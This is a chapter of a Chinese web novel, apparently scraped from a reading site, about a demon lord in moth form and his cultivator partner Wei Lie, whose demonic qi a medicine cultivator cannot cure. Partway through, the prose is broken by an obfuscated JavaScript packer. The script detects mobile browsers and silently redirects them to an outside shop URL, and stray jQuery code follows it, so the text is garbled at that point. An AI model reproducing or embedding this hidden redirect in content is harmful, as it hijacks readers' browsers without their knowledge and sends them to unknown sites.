文趣网 > 其他小说 > 重回老公黑化前 > 9. 第 9 章
    年轻的卫冽好像因为刚刚的丢脸恼怒,沉默了半晌,最后抿唇,低头看向沈樗。

    在他的注视下,沈樗不好意思,慢慢把触角弯成小小的钩。

    他就说嘛,他不是魔蝶。

    是魔尊^^

    掌心的蛾子看起来相当无辜。卫冽轻轻地呼了口气,有点庆幸自己前几年没有养这些东西。

    太费心神了。

    一人一蝶准备离开,临到门口,老药修又叫住了他。

    沈樗触角一歪,觉得这一幕有点熟悉。

    上次他徒弟也是这么干的,职业病?

    沈樗伸长了触角,上次徒弟是让卫冽准备好吃的给他,这次准备让卫冽干什么。

    他想吃炸鸡,他都能当大胃王了,也可以吃炸□□。

    蝴蝶馋得扇了扇翅膀,带得娇小的身体腾空。

    结果下一秒,卫冽伸手把他往旁边年轻药修的手里一放。

    沈樗:?

    卫冽抬手合上门,同老药修又进去了。

    沈樗:???

    丢下老婆干什么呢!

    他抬起触角,和樊灵枢大眼瞪小眼几秒。

    樊灵枢反应过来,朝它友好地一笑:“看来卫道友把你暂时交给我了,我带你去后院?那里有药田。”

    沈樗对药田不感兴趣,对这两个人说什么秘密比较感兴趣。

    他是家属,他能听!

    蛾子扑腾起来,樊灵枢看得出,这蛾子翅膀似乎真的有伤,飞得这般踉踉跄跄,最后才勉强趴在合上的门缝上。

    樊灵枢懂了。

    偷听,他也想。

    他上前一步,也跟着趴在门缝上。

    屋内,老药修不知道卫冽怎么又要结一个隔音罩。

    卫冽也不知道,他鬼使神差这么做的。

    等做完才松开手,坐在桌边。老药修替他把了脉,最后依旧是叹了口气收回灵丝。

    他说:“惭愧,老夫出去云游,并未找到解决之法。听说叶峰主独子也是这样的症状,已快找出破解之法。道友再等一等吧。”

    听见这个名字,卫冽眼底滑过一抹嘲讽的笑意,很快又不见。

    他抬起头,依旧是开朗温和的模样:“当初我魔气入体,便是浔阳君同叶峰主联手镇压,一时间要找出解法恐怕不易。”

    老药修听出端倪,一时间恍然大悟。

    卫冽当年来他这求医时不足二十,体内已被魔气摧残得伤痕累累,他以为是魔气强横,没想到竟是因为当年是强行镇压的。

    他沉默了一瞬,只能安慰道:“那蛾子是奇物,说不定是你的机缘。你金丹上已有裂痕,仙门大比不可乱来。”

    机缘?

    卫冽想到蛾子喝仙露的样子,确实是挺奇的,喝的仙露比它整只蛾子都大了。

    只是再怎么奇,总不可能把他的魔气也喝了。

    他听见这话,不置可否:“我已经是现在这个样子,您不必宽慰我。”

    老药修欲言又止,最后叹了口气:“你体内魔气躁动,你又受了它的影响了。”

    卫冽挥散周围浑浊的灵力,没留神门缝中已挤进半片淡黄翅膀。

    他淡淡道:“无事,我这几日便上战场挑几头魔兽杀了。”

    老药修看着他露出的杀气,欲言又止,又停住了。

    若是他症状好转,老药修觉得自己停滞已久的境界,说不定也能动上一动。

    想及此,他手头变出几瓶仙露:“卫道友,之后若有空,也多来我这。”

    卫冽淡淡扫了眼:“不必。”

    他对老药修的利用价值不过是这幅被魔气缠身的身体,但老药修治不好他,也就没有再来的必要了。

    想到这里,他自嘲地扯了扯唇。

    总不可能盼着。有什么天降神兵忽然治好了他。

    老药修也并不生气,只是摸摸山羊胡子:“不送了。”

    听见最后一段话的沈樗:?

    什么意思?没事就要上战场杀魔兽吗?

    卫冽已经这么讨厌魔物了?

    卫冽起身,拉开门就是一顿。

    蛾子已将半边触角探进门缝里,不知听到了什么,抬起触角时显得呆呆的。

    卫冽沉默一瞬,看向樊灵枢,此人文质彬彬地一笑:“卫兄,你把它交给我,我自然要做它爱做的事啊。”

    卫冽一向和气,此时却不知怎的,把蛾子往手里一收,冷淡道:“蛾子容易被带坏。它不知听不听得懂,我看你听得挺入神。”

    从前卫冽生气的气势樊灵枢还怕点,可现在,他可是感受不到任何威胁了,一笑道:“哪里哪里。”

    -

    告别两人,卫冽拢住蛾子往外走。

    蛾子发完呆,在他手里并不老实,上下扑腾着。

    卫冽走了没几步,几乎要抓不住它。

    他忽然顿住脚步,低声问:“老药修同我说,你的翅膀一点问题都没有,是不是?”

    在外头什么都不说,进去就背着人说老婆的坏话!出来还吓唬他!

    沈樗还没问他刚刚听见的那句话什么意思呢。

    今天敢闲着无聊杀魔兽,明天就要杀魔修,后天就要追着老婆砍了!

    想到这里,他不动了,在人手心里趴着,触角朝人的反方向一拧,显得有些爱答不理。

    卫冽一顿。

    他说:“我不过就是说一句,没赶你的意思。”

    那也不行,一句也不行。

    沈樗已经自闭了。

    他花了好大的力气才回来,卫冽喜欢阵法,但是他不喜欢。他读了那么多年的书,最讨厌的就是高等数学。

    一句话也不能说他的。

    他的触角无精打采地耷拉了下来,他要不回去当树,等卫冽再摔下去得了。

    这下好了,彻底不理人了。

    卫冽一顿,想到这蛾子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884574|212506||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    方才偷听,可能听见了什么。

    还是大街上,他犹豫了好一会儿,才把蛾子拢起来到脸颊边。

    “你可是听岔了什么?”

    卫冽顿了顿,才有点别扭地说:“我灵气不纯,所以才要以杀止杀。”

    他轻声说:“战场上的魔兽就是你不杀我,我杀你。我并不是滥杀无辜之人。”

    沈樗在心里哦了一声。

    不是就不是嘛。

    真是软硬不吃。

    眼看它没反应,卫冽抿了抿唇,继续找话:“樊灵枢也不是什么好人,他自己偷听,却要推卸到你身上。”

    沈樗:?

    蝴蝶的触角呆呆地弯了起来,这下总算是对人说的话有点感兴趣。

    卫冽手指默不作声将蛾子惊得翘起来的触角压回去。

    蛾子细小的触角柔软,像是床榻上那层柔软皮毛的触感。

    他垂眼,语气温和地继续说:“他碰到稀奇的病症,恨不得剥皮抽筋扒出来研究。他实在很坏,你若单独碰到他,要躲远些。”

    听起来真恐怖。

    沈樗把这个当恐惧故事听,上辈子卫冽就经常给他讲修仙界的奇闻异事。

    他心情这才好了点。终于给了点反应,意思意思地拍拍卫冽的。

    不过卫冽的灵力怎么会不纯?

    沈樗有点好奇,但卫冽显然没有往下说的意思。

    一人一蝶往回走,沈樗忽然一顿,发现之前被他抽屁股的人还没走。

    他晃了晃触角,觉得有点奇怪。

    屁股不痛吗,那他还想再抽一下。

    -

    卫冽带着沈樗回了营地,一路走到住处。

    他并未换掉衣服,而是将蛾子一放,就准备再出门。

    沈樗难得安分,没着黏他,卫冽也顿了一瞬:“我去了。”

    沈樗懒懒地晃晃触角,看起来几乎要埋进桌上那碟仙露里。

    卫冽抿了下唇。

    若是不出门,这下他是真要养不起蛾子了。

    卫冽离开后一会儿,外头草丛里也传来点动静。

    管事处弟子起身。

    卫冽每日行程无非打坐,练剑,去战场实战,相当无趣,根本没有监视的价值。

    另外,他也看清了,卫冽没藏什么宝贝,手里就是只平平无奇的普通蛾子。

    他一口呸掉草,晦气地拍拍裤脚,准备回去同掌事汇报。

    身后,屋内涌出一团黑雾,沈樗懒懒地从里头走出了来。

    他这几天憋坏了,此时周身魔气浓郁得几乎冲天,留仙宗阵法却安安静静,没给出一点警报,更显得他妖异非凡。

    沈樗跟上了弟子。

    鬼鬼祟祟的,让他看看在干嘛。

    他也离开,几分钟后,卫冽有东西没拿,走了回来。

    他看着空空的室内,陷入了沉默。

    一天到晚,这蛾子究竟做什么去了?